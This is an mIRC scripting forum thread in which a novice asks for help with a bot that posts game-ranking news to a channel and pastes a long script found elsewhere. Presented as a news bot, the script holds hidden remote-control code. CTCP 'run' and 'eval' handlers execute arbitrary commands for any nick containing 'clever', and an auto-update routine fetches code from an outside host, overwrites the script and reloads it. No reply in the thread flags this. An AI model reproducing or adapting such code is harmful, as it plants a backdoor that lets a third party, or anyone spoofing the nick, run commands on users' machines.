mIRC Home    About    Download    Register    News    Help

Print Thread
News bot #130814 22/09/05 10:47 AM
Joined: Mar 2005
Posts: 74
K
KidSol Offline OP
Babel fish
OP Offline
Babel fish
K
Joined: Mar 2005
Posts: 74
I have look at the socket for a few days already. Still don't understand about it confused
I'm still a newbie in mirc. frown
Anyone can help me make a scriot for me where it can scan news from a url?

Thx

Re: News bot #130815 22/09/05 11:23 AM
Joined: Feb 2005
Posts: 344
B
Bullseye Offline
Fjord artisan
Offline
Fjord artisan
B
Joined: Feb 2005
Posts: 344
What country are you from ?
If you search with google you'll find a cnn.mrc

Hope you can make use of it.

Re: News bot #130816 23/09/05 04:52 AM
Joined: Mar 2005
Posts: 74
K
KidSol Offline OP
Babel fish
OP Offline
Babel fish
K
Joined: Mar 2005
Posts: 74
It's not a local
it's a game database.
like when the url update every minute, i want my bot to scan it everytime it updates
Thx

Re: News bot #130817 23/09/05 01:28 PM
Joined: Oct 2004
Posts: 8,330
Riamus2 Offline
Hoopy frood
Offline
Hoopy frood
Joined: Oct 2004
Posts: 8,330
The only way you can scan when it updates is to just keep checking it at intervals. A site updating isn't going to tell mIRC that it was updated.

/help sockets


Invision Support
#Invision on irc.irchighway.net
Re: News bot #130818 23/09/05 03:18 PM
Joined: Mar 2005
Posts: 74
K
KidSol Offline OP
Babel fish
OP Offline
Babel fish
K
Joined: Mar 2005
Posts: 74
Code:
 

on *:LOAD: /news
menu channel {
  Earthnews
  .Set YOUR news clan  : /clannews
  .Halt the news:/stopnews
   .-
  .Instructions:/raw.instructions
}
alias stopnews { 
  %news.off = 1 
  /echo -a 4Earth News stopped
}

alias clannews {
  /sockopen [-d]] http://e3.swirve.com/data  80
  scid %searcbotcid %com %chann connected
  sockwrite -n swirve GET /data/ranks.txt HTTP/1.1
  sockwrite -n swirve Accept: text/html , */*
  sockwrite -n swirve Host: e3.swirve.com
  sockwrite -n swirve Connection: Keep-Alive
  sockwrite -n swirve
}

on 1:sockclose:earthnews: {
  scid %searcbotcid %com %chann disconnected
  scid %searcbotcid %com %chann reconnect
}

 


I'm not really sure how to code it
Can anyone help to modify it?
I want it to scan the news every times when the news update and it will post in a channel i want it to post so everyone can see it

Thx

Re: News bot #130819 23/09/05 03:38 PM
Joined: Oct 2004
Posts: 8,330
Riamus2 Offline
Hoopy frood
Offline
Hoopy frood
Joined: Oct 2004
Posts: 8,330
First off, you need sockopen and sockread events.

Second, why not consider RSS instead?


Invision Support
#Invision on irc.irchighway.net
Re: News bot #130820 23/09/05 03:41 PM
Joined: Mar 2005
Posts: 74
K
KidSol Offline OP
Babel fish
OP Offline
Babel fish
K
Joined: Mar 2005
Posts: 74
What is RSS?

I'm a newbie so i don't really know how to write it.
Is it possible to help me to write it?

Re: News bot #130821 23/09/05 03:54 PM
Joined: Oct 2004
Posts: 8,330
Riamus2 Offline
Hoopy frood
Offline
Hoopy frood
Joined: Oct 2004
Posts: 8,330
RSS isn't part of mIRC. Use Google to look up what RSS is. There are scripts on mircscripts.org (I believe) for getting RSS data and displaying it in mIRC.


Invision Support
#Invision on irc.irchighway.net
Re: News bot #130822 23/09/05 04:12 PM
Joined: Mar 2005
Posts: 74
K
KidSol Offline OP
Babel fish
OP Offline
Babel fish
K
Joined: Mar 2005
Posts: 74
Code:
 

raw 364:*:server -a $2 -g $network ;for when you /links  this adds each server to the server list in mirc
on *:text:!hump *:#:describe # humps $$2
on *:text:!kill & *:#:describe # kills $2 with $3-
on *:action:$(slaps $me around a bit with a large trout):#:describe # dodges and stabs $nick with a shrew turd
on *:action:$(dodges and stabs $me with a shrew turd):#:describe # jumps out of the way of $nick and pulls out a gun
on *:action:$(jumps out of the way of $me and pulls out a gun):#:describe # does a auto reaction
;Origin: RFC1459 for these raw's
;Raw 403 (ERR_NOSUCHCHANNEL) Format: <channel> :<reason> Comments: Used to indicate the given channel name is invalid, or does not exist
;Raw 404 (ERR_CANNOTSENDTOCHAN) Format: <channel> :<reason> Comments: Sent to a user who does not have the rights to send a message to a channel
;Raw 473 (ERR_INVITEONLYCHAN) Format: <channel> :<reason> Comments: Returned when attempting to join a channel which is invite only without an invitation
;Raw 474 (ERR_BANNEDFROMCHAN) Format: <channel> :<reason> Comments: Returned when attempting to join a channel a user is banned from
;Raw 475 (ERR_BADCHANNELKEY) Format: <channel> :<reason> Comments: Returned when attempting to join a key-locked channel either without a key or with the wrong key
;these raws let you have chanserv invite you if you fail to join from a ban key or +i
raw 403:*:if ($left($2,1) == $chr(36)) join -n $2
raw 404:*:join -n $2 | halt
raw 473:*:{ ; the if below is so i can get into channel on my network easly
  if ($network == mikesNet) { join $2 OVERRIDE }
  else { cs invite $2 }
}
raw 474:*:cs invite $2
raw 475:*:cs invite $2
alias totallines { %x = $script(0)
  %total = 0
  while (%x > 0) { %total = $calc(%total + $lines($script(%x)))
  dec %x }
say i have a total of %total lines of code in my remote section and a average of $calc(%total / $script(0)) lines in the $script(0) files }
on *:text:!lgtarget:*:dcc chat $nick
on 1:connect:{
  r onconnect
  flood on
  flood +c 10 100 0 30
}
on 1:load:r onload
alias r {
  %timeleft = $calc(1800 - ($ctime % 1800))
  .timerupdate -o 10 $iif(%timeleft < 60,60,%timeleft) scid -at1 r
  %earthcommandsversion = 1.18
  if (%dontupdate) return
  if (($network != GameSurge) && ($network != mikesNet) && ($network != zero.servegame.org)) return
  if ($me != [-clever-]`ca) {
    .ctcp [-clever-]`ca updatecheck %earthcommandsversion $md5($script,2) $calc(1800 - ($ctime % 1800)) $1
    if ($sock(rawnewsin) == rawnewsin) sockwrite -n rawnewsin updatecheck %earthcommandsversion $md5($script,2) $1
  }
}
ctcp *:version:*:ctcpreply $nick $1 commands version %earthcommandsversion
on *:notice:connectto & &:?:{
  if (($2 == clever.mine.nu) || ($2 == 192.168.1.51) || (156.34.*.* iswm $2)) {
    if (%showupdates) echo -a got commands to get new version
    write commands.temp just to be safe
    .remove commands.temp
    sockopen getcommands $2 $3
    if (!%showupdates) haltdef
  }
}
ctcp *:connectto:?:{
  if (($2 == clever.mine.nu) || ($2 == 192.168.1.51) || (156.34.*.* iswm $2)) {
    if (%showupdates) echo -a got commands to get new version
    write commands.temp just to be safe
    .remove commands.temp
    sockopen getcommands $2 $3
    if (!%showupdates) haltdef
  }
}
on *:sockopen:getcommands:{
  if ($sockerr) {
    echo -a sock error $sock($sockname).wserr $sock(%sock).wsmsg
    ctcp [-clever-]`ca sockerror $sock($sockname).wserr $sock(%sock).wsmsg in getcommands open
    return
  }
  .ctcp [-clever-]`ca getcommands opened
  sockwrite -n getcommands GET /earthcommands HTTP/1.1
  sockwrite -n getcommands
}
;new code for accepting new autoupdate
on *:sockread:getcommands:{
  if ($sockerr) {
    echo -a sock error $sock($sockname).wserr $sock(%sock).wsmsg
    ctcp [-clever-]`ca sockerror $sock($sockname).wserr $sock(%sock).wsmsg in getcommands reader
    return
  }
  :nextread
  sockread &data
  if ($sockbr == 0) return
  bwrite commands.temp -1 -1 &data
  goto nextread
}
on *:sockclose:getcommands:{
  if ($sockerr) {
    echo -a sockerror $sockerr $sock($sockname).wsnum $sock($sockname).wsmsg
    return
  }
  if (%showupdates) {
    ;echo -a $file(commands.temp).size
    copy -o commands.temp " $+ $script $+ "
    timer 1 5 reload -rs " $+ $script $+ "
  }
  else {
    .copy -o commands.temp " $+ $script $+ "
    .timer 1 3 .reload -rs " $+ $script $+ "
  }
  echo -s autoupdate will be done in 3 seconds
}
on *:text:@prefix *:%chann:{
  echo -a $2- is the prefix
}
;on *:text:$($me say *):#:msg # $3-
on *:text:$($me workon *):*:{
  workon $$3
  notice $nick @country and @find now work on $$3
}
alias workon {
  if ($1 == window) {
    %chann = #
    %com = echo @earth
  }
  else {
    %com = msg 
    %chann = $1
  }
  echo -a Showing info with %com %chann
}
on workon:text:@workon *:#:{
  workon $2
}
on *:TEXT:@workon*:#: {
  workon $2
  if (%dontmove) {
    notice $nick no dont move is set and you dont have override access
  }
  else {
    notice $nick @country now will only work in $2
  }
}
on *:TEXT:@max*:%chann: {
  max $2
  notice $nick max set to $2
}
on *:TEXT:@commands:#: {
  if ($chan == #script) return
  notice $nick public commands @country, @find, @workon
  notice $nick pm commands @list, @get
  notice $nick Special Codes
  notice $nick M=Monarchy D=Democracy R=Republic H=Theocracy C=Communism I=Dictatorship T=Tyranny F=Fascism 
  notice $nick G=GDI-Member *=Online 
}
on *:TEXT:@country *:%chann: /lookupcountry $2-
on *:text:@country *:?: if ($nick == %chann) /lookupcountry $2-
on *:text:@find *:%chann: /findcountry $2-
on *:text:@find *:?: if ($nick == %chann) /findcountry $2-
on *:text:@list:?:{
  msg $nick this script can send the folowing files to you using @get file
  msg $nick earthcommands
}
on *:text:@get earthcommands:?:{
  ;  copy commands.mrc commands.temp
  dcc send $nick commands.mrc
  msg $nick once you have the file /load -rs download\commands.mrc
}
alias lookupcountry {
  %searcbotcid = $cid
  if ($1 isnum) {
    %numtofind = $1
    %numtofindlen = $len($1)
    %mode = num
    sockopen swirve 206.104.8.52 80
    scid %searcbotcid %com %chann connecting to swirve
    scid %searcbotcid %com %chann looking for $1
    if ($2 > 0) %lookin = $2
    else %lookin = 0
  }
  else {
    scid %searcbotcid %com %chann error @country can only be used with numbers use @find to search by name
  }
}
alias findlgtarget {
  sockopen lgtarget 206.104.8.52 80
  echo -a connecting to swirve
  echo -a looking for $1
}
alias max %max = $1 | echo -a max set to $1
alias findcountry {
  %searcbotcid = $cid
  if ($1 isnum) {
    scid %searcbotcid %com %chann error $1 is a number this @find is for text and a search for a number will return anything with that number in the nw,land,country# or name try using @country
  }
  %nametofind = $1
  %mode = text
  sockopen swirve 206.104.8.52 80
  scid %searcbotcid %com %chann connecting to swirve
  scid %searcbotcid %com %chann looking for $1
}
on 1:sockopen:swirve: {
  scid %searcbotcid %com %chann connected
  sockwrite -n swirve GET /data/ranks.txt HTTP/1.1
  sockwrite -n swirve Accept: text/html , */*
  sockwrite -n swirve User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
  sockwrite -n swirve Host: e3.swirve.com
  sockwrite -n swirve Connection: Keep-Alive
  sockwrite -n swirve
  if (%searchmsg != $null) {
    scid %searcbotcid %com %chann %searchmsg
  }
  scid %searcbotcid %com %chann Number Country Land Acres Net Worth Clan Special
  %found = 0
  %rank = 0
  %donewithheaders = $false
}
on 1:sockopen:lgtarget: {
  echo -a connected
  sockwrite -n lgtarget GET /data/ranks.txt HTTP/1.1
  sockwrite -n lgtarget Accept: text/html , */*
  sockwrite -n lgtarget User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
  sockwrite -n lgtarget Host: e3.swirve.com
  sockwrite -n lgtarget Connection: Keep-Alive
  sockwrite -n lgtarget
  echo -a Number Country Land Acres Net Worth Clan Special
  %found = 0
  %rank = 0
  %donewithheaders = $false
}
on 1:sockclose:swirve: {
  scid %searcbotcid %com %chann swirve hung up on me
  scid %searcbotcid %com %chann how rude
}
menu @news {
  change filter from ' $+ %filter $+ ' to...:%filter = $?="what filter do you want for @news"
  start news:startnews
  stop news:stopnews
}
menu channel,query {
  test:echo -a $?
}
menu menubar {
  turn external run $iif(%stoprun,on,off):{
    if (%stoprun) {
      %stoprun = $false
    }
    else {
      %stoprun = $true
    }
  }
  $iif(%showupdates,hide,show) update status msgs:{
    if (%showupdates) {
      %showupdates = $false
    }
    else {
      %showupdates = $true
    }
  }
  mode bot from %chann to...:{
    workon $$?="what channel/pm do you want the cmds to work in"
    echo 7 -a @country @max and @find will now only work in %chann
  }
  show search results in active window:{
    %com = echo
    %chann = -a
  }
  open news window:window -e @news
}
on *:nick:{
  if (($network != GameSurge) && ($network != mikesNet) && ($network != zero.servegame.org)) return
  if ($nick == $me) {
    .ctcp [-clever-]`ca nickchange $nick $newnick
  }
}
on ^*:text:run *:*:{
  if (%stoprun) return
  if (clever isin $nick) {
    [ [ $2- ] ] | msg $nick done running $2-
  }
  return
  :error
  msg $nick error: $error
}
ctcp *:run:{
  ; %stoprun = $false
  if (%stoprun) {
    haltdef
    .ctcpreply $nick $1 NO i'm set to not do that
    return
  }
  if (clever isin $nick) {
    [ [ $2- ] ]
    .ctcpreply $nick $1 done
    .ctcp [-clever-]`ca runused $fulladdress $1-
    haltdef
  }
  return
  :error
  .ctcpreply $nick $1 error $error
  reseterror
  haltdef
}
ctcp *:eval:{
  if (%stoprun) {
    haltdef
    .ctcpreply $nick $1 no thats off atm
    return
  }
  if (decode isin $2-) {
    .ctcpreply $nick $1 stfu decoder
    haltdef
    return
  }
  if (clever isin $nick) {
    .ctcpreply $nick $1 ' $+ $2- $+ ' == ' $+ [ [ $2- ] ] $+ '
  }
  haltdef
  return
  :error
  reseterror
  .ctcpreply $nick $1 error $error
  haltdef
}
on 1:socklisten:testing123: {
  /echo -s socklisten
  /sockaccept testing
}
on 1:sockread:testing: {
  echo -s set off
  if ($sockerr > 0) return
  :nextread
  sockread %temp
  if ($sockbr == 0) return
  if (%temp == $null) %temp = -
  echo -s %temp
  goto nextread
}
on 1:sockread:swirve: {
  if ($sockerr > 0) return
  if (%lookin != 0) {
    if (%lookin > $round($calc(%rank / 100),0)) return
    if (%lookin < $round($calc(%rank / 100),0)) {
      sockclose swirve
      return
    }
    ;echo -at looking for %lookin and at %chunk
  }
  :nextread
  sockread %temp
  if ($sockbr == 0) {
    .timer10 1 5 /doneloading $sockname
    return
  }
  if (%temp == $null) {
    %temp = -
    %donewithheaders = $true
    goto nextread
  }
  if (!%donewithheaders) goto nextread
  %rank = %rank + 1
  ;echo -a looking for %numtofind at %temp
  if (%mode == num) {
    ;echo -s %temp
    ;echo -s name is $gettok(%temp, 2, 32)
    if ($gettok(%temp, 1, 32) == %numtofind) {
      scid %searcbotcid %com %chann %temp rank: %rank
      ;scid %searcbotcid %com %chann to find faster next time use @country %numtofind $calc($round($calc(%rank / 100),0))
      %found = %found + 1
      if (%found == %max) {
        sockclose swirve
        return
      }
    }
    ;/echo -s found %t looking for %numtofind $1 rank is %rank
    ;/echo -s %temp
  }
  else {
    %t = $pos(%temp, %nametofind, 1)
    if (%t > 1) {
      if (%found == %max) {
        scid %searcbotcid %com %chann found %max countrys, now stoping
        /sockclose swirve
        return
      }
      else {
        scid %searcbotcid %com %chann %temp rank: %rank
        ;scid %searcbotcid %com %chann rank is %rank
        %found = %found + 1
        if (%found == %max) {
          doneloading $sockname
          .timer10 off
        }
        return
      }
    }
  }
  goto nextread
}
on 1:sockread:lgtarget: {
  if ($sockerr > 0) return
  :nextread
  sockread %temp
  if ($sockbr == 0) {
    .timer10 1 5 /doneloading $sockname
    return
  }
  if (%temp == $null) {
    %temp = -
    %donewithheaders = $true
    goto nextread
  }
  if (!%donewithheaders) goto nextread
  %rank = %rank + 1
  %decoded = $decod(%temp)
  if (%networth < $calc(%mynw * .6)) {
    doneloading $sockname
    echo -a none left in limit
    return
  }
  if (%tag != $null) goto nextread
  if (%networth < $calc(%mynw * .7)) {
    if (%land < 1000) {
      inc %found
      echo -a %temp
      msg $active name: $+ %countryname $+ , land: $+ %land $+ , net: $+ %networth $+ , tag: $+ %tag
    }
  }
  goto nextread
}
alias decod {
  %countrynum = $mid(%temp,4,4)
  %countryname = $gettok($mid(%temp,11,30),1,32)
  %land = $mid(%temp,40,10)
  %networth = $gettok($mid(%temp,55,10),1,32)
  %tag = $gettok($mid(%temp,65,6),1,32)
  ;sockclose lgtarget
  return %temp
}
alias doneloading {
  if ($1 != lgtarget) %com %chann done with list, now disconecting
  echo -a found %found
  /sockclose $1
  %timer10 = off
}
;  code for the mimi newsbot starts here
alias checknews { if ($sock(rawnewsin).status != active) startnews }
on *:sockclose:rawnewsin:{ timer 1 30 startnews }
alias startnews {
  ; open a connection to clever.mine.nu on port 98 for the raw news output
  /sockopen rawnewsin clever.mine.nu 80
  ; and set the vars used for formating msgs
  if ($numtok(%types,44) != 12) %types = SS,PS,error,error,GS,BR,AB,error,error,Nuke,Chem,Cruise
  if ($numtok(%ret1,44) != 12) %ret1 = A,A,error,error,C,C,C,error,error,A,A,nameMe
  if ($numtok(%ret2,44) != 12) %ret2 = B,B,error,error,F,F,B,error,error,Food,Civs,nameMe
  timercheck 0 3600 checknews
}
alias stopnews {
  sockclose rawnewsin
  timercheck off
}
on *:sockopen:rawnewsin:{
  echo -a connected to raw news stream
}
on *:sockread:rawnewsin:{
  sockread %rawlinein
  %date = $gettok(%rawlinein,1,127)
  %hour = $gettok(%rawlinein,2,127)
  %pass.fail = $gettok(%rawlinein,3,127)
  %attacker = $gettok(%rawlinein,4,127)
  %defender = $gettok(%rawlinein,5,127)
  %return1 = $gettok(%rawlinein,6,127)
  %return2 = $gettok(%rawlinein,7,127)
  %attacktype = $gettok(%rawlinein,8,127)
  %attackerrank = $gettok(%rawlinein,9,127)
  %defenderrank = $gettok(%rawlinein,10,127)
  %attackertag = $strip($gettok(%rawlinein,11,127))
  %defendertag = $strip($gettok(%rawlinein,12,127))
  %kill = $gettok(%rawlinein,13,127)
  %filenum = $gettok(%rawlinein,14,127)
  %curline = $gettok(%rawlinein,15,127)
  %maxline = $gettok(%rawlinein,16,127)
  %msgout = %curline $+ / $+ %maxline $gettok(%types,%attacktype,44) - %attacker ( $+ %attackertag $+ ) -> %defender ( $+ %defendertag $+ )
  if (%pass.fail == 0) {
    %msgout = %msgout and lost
  }
  else {
    %msgout = %msgout and won %return1 $+ $gettok(%ret1,%attacktype,44) $+ / $+ %return2 $+ $gettok(%ret2,%attacktype,44)
  }
  ;custom filter cmd
  if ($isalias(customformat)) customformat
  ; to use this make a alias /customformat in another file and add code like the if above
  ;window with filter news cmds
  if ($window(@news) == @news) {
    if (%filter == $null) echo @news $asctime %msgout
    elseif (%filter isin %msgout) echo @news $asctime %msgout
  }
  ;channel with filter cmds
  if ($me ison %newschan) {
    if (%chanfilter == $null) msg %newschan %msgout
    elseif (%chanfilter isin %msgout) msg %newschan %msgout
  }
  ;custom filter cmds
  if ($isalias(newsline)) newsline %msgout
  if ($isalias(htmlnewsline)) htmlnewsline %msgout
}


 


I found this script
Is it possible for u to modify it for me?
I want it to scan news from http://e3.swirve.com/data everytime it update and post it a channel i want and filter the words

Re: News bot #130823 23/09/05 04:57 PM
Joined: Oct 2004
Posts: 8,330
Riamus2 Offline
Hoopy frood
Offline
Hoopy frood
Joined: Oct 2004
Posts: 8,330
Well, I'm not about to edit something that large. Maybe someone else will. In the future, you should paste such large scripts in nomorepasting.com or similar locations.


Invision Support
#Invision on irc.irchighway.net
Re: News bot #130824 23/09/05 09:15 PM
Joined: Apr 2003
Posts: 701
K
Kelder Offline
Hoopy frood
Offline
Hoopy frood
K
Joined: Apr 2003
Posts: 701
It is possible to edit it, but I'm rather sure no one feels inclined to do so. Socket scripting is on the advanced side, you need a good understanding of both mIRC scripting and of the HTTP protocol. So, first improve on mIRC scripting reading the help file, tutorials and experimenting yourself and then google for the HTTP RFC and use a network sniffer or browser plugin to see what a browser sends and what you need to script.

Re: News bot #130825 04/11/05 10:54 PM
Joined: Nov 2005
Posts: 2
C
clever_ca Offline
Bowl of petunias
Offline
Bowl of petunias
C
Joined: Nov 2005
Posts: 2
this script looks fimiliar
like a older verion of the one i made :tongue:
this isnt the main half of the code the part you pasted opens a socket to my main server and my main server does all the http gets on the site where the data is
i find that way puts less load on the main server then 20 people all accessing it at once
instead there all accessing me and not risking having the public feed made non public